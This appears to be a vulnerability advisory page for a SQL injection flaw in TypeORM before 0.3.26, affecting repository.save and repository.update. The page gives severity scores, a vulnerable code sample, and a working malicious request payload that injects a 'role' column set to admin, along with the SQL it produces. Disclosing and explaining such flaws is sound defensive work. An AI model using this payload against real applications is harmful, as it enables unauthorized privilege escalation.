6.5medium
TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update
- Severity
- 6.5medium CVSS:3.1 by CISA-ADP
- Exploit likelihood
- 0.27% (higher than 19% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- mitre
- Also known as
- GHSA-q2pj-6v73-8rgj
Description
SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Unspecified product | n/a | CVE List |
| typeorm (npm) | before 0.3.26 | GitHub Advisory Database |
All scores
| CISA-ADP | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| GitHub | 6.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:H/SA:L/E:P |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact total.
What each source says
CVE List
SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.
GitHub Advisory Database
Summary
SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.
Details
Vulnerable Code:
const { username, city, name} = req.body;
const updateData = {
username,
city,
name,
id:userId
}; // Developer aims to only allow above three fields to be updated
const result = await userRepo.save(updateData);
Intended Payload (non-malicious):
username=myusername&city=Riga&name=Javad
OR
{username:\"myusername\",phone:12345,name:\"Javad\"}
SQL query produced:
UPDATE `user`
SET `username` = 'myusername',
`city` = 'Riga',
`name` = 'Javad'
WHERE `id` IN (1);
Malicious Payload:
username=myusername&city[name]=Riga&city[role]=admin
OR
{username:\"myusername\",city:{name:\"Javad\",role:\"admin\"}}
SQL query produced with Injected Column:
UPDATE `user`
SET `username` = 'myusername',
`city` = `name` = 'Javad',
`role` = 'admin'
WHERE `id` IN (1);
Above query is valid as city = name = Javad is a boolean expression resulting in city = 1 (false). “role” column is injected and updated.
Underlying issue was due to TypeORM using mysql2 without specifying a value for the stringifyObjects option. In both mysql and mysql2 this option defaults to false. This option is then passed into SQLString library as false. This results in sqlstring parsing objects in a strange way using objectToValues.
NVD (es)
Vulnerabilidad de inyección SQL en TypeORM anterior a la 0.3.26 mediante una solicitud manipulada a repository.save o repository.update debido a la llamada a sqlstring con stringifyObjects por defecto en falso.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-60542 changed 2025-10-30 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-q2pj-6v73-8rgj changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2025-60542 changed 2026-10-27 | Public domain |